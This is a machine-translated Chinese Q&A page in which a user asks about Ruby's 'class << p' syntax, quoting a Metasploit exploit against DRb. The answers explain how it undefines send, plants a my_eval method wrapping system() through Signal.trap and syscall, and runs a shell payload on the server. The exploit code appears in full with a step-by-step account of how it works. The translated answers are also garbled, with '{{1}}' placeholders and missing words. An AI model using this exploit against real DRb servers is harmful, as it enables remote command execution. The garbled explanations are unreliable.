了解ruby语法“class<< variable”

时间:2017-05-20 15:07:37

标签: ruby

我一直在使用metasploit查看DRb中的旧bug,它使用的方法:

  def exploit
    serveruri = datastore['URI']
    DRb.start_service
    p = DRbObject.new_with_uri(serveruri)
    class << p
      undef :send
    end

    p.send(:trap, 23, :"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
    # syscall to decide whether it's 64 or 32 bit:
    # it's getpid on 32bit which will succeed, and writev on 64bit
    # which will fail due to missing args
    begin
      pid = p.send(:syscall, 20)
      p.send(:syscall, 37, pid, 23)
    rescue Errno::EBADF
      # 64 bit system
      pid = p.send(:syscall, 39)
      p.send(:syscall, 62, pid, 23)
    end
    p.send(:my_eval, payload.encoded)
  end

我不是一个红宝石程序员,但我对除了几行之外发生的事情有一个普遍的认识。
任何人都可以解释第5-9行中发生的事情吗? (从“class&lt;&lt; ...”开始)

2 个答案:

答案 0 :(得分:2)

class << p
  undef :send
end

未定义对象send的{​​{1}}方法(p用于在接收器上动态调用方法)。

这样做是为了利用send的{​​{1}}实现,它将方法调用路由到远程对象。我对DRbObject并不太熟悉,但我猜这可能是为了让事情经过method_missing的{​​{1}}检查,但我会将其保留为对你的练习,因为它超出了这里提出的问题的范围。

一旦它通过DRb实现了它需要做的任何事情,它就会在服务器进程上向DRbServer添加一个方法check_insecure_method,然后使用method_missing来执行有效负载。一个shell命令。

答案 1 :(得分:2)

class << p
  undef :send
end

此块在本地send实例上取消定义DRbObject。正如迈克尔指出的那样,如果DRbObject没有定义方法,它将使用method_missing将方法调用路由到远程服务器。

在这种情况下,所有后续的send调用都将路由到远程服务器并在那里进行评估,而不是本地实例。

p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")

这会触发Signal.trap信号23和一个似乎包含一大块代码的符号,如果进行评估,它将在Object上创建一个方法,提供对shell的直接访问。

根据文档,Signal.trap可用于在从操作系统接收特定信号时运行块或命令。目前还不是很清楚命令是什么,所以我做了一些游戏。

 >   pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping                                                                       #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test                     #=> 1

看起来符号形式的命令将转换为字符串,然后由eval转换为Signal.trap

# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
  pid = p.send(:syscall, 20)
  p.send(:syscall, 37, pid, 23)

此部分触发调用Unix内核函数的Kernel#syscallrescue位处理64位系统调用号。我们来看看32位部分:

  • p.send(:syscall, 20)应评估为sys_getpid()
  • p.send(:syscall, 37, pid, 23)应评估为sys_kill(<pid>, 23)。这将触发为信号23设置的早期陷阱。

总之,利​​用:

  1. 取消定义send以强制通过method_missing
  2. 发送消息
  3. 使用method_missing触发Signal.trap(23),将一大块红宝石代码转换为符号形式的单行字符串
  4. 使用Kernel#syscall获取当前正在运行的进程的PID
  5. 使用Kernel#syscall来调用kill -23 <pid>,这会导致设置为2的陷阱触发,这反过来会破坏提供的符号,以便在my_eval上创建Object方法它提供对system(shell命令行访问)
  6. 的访问
  7. 使用有效负载
  8. 调用新创建的my_eval方法

    参考文献:

    http://syscalls.kernelgrok.com/

    https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap

    https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall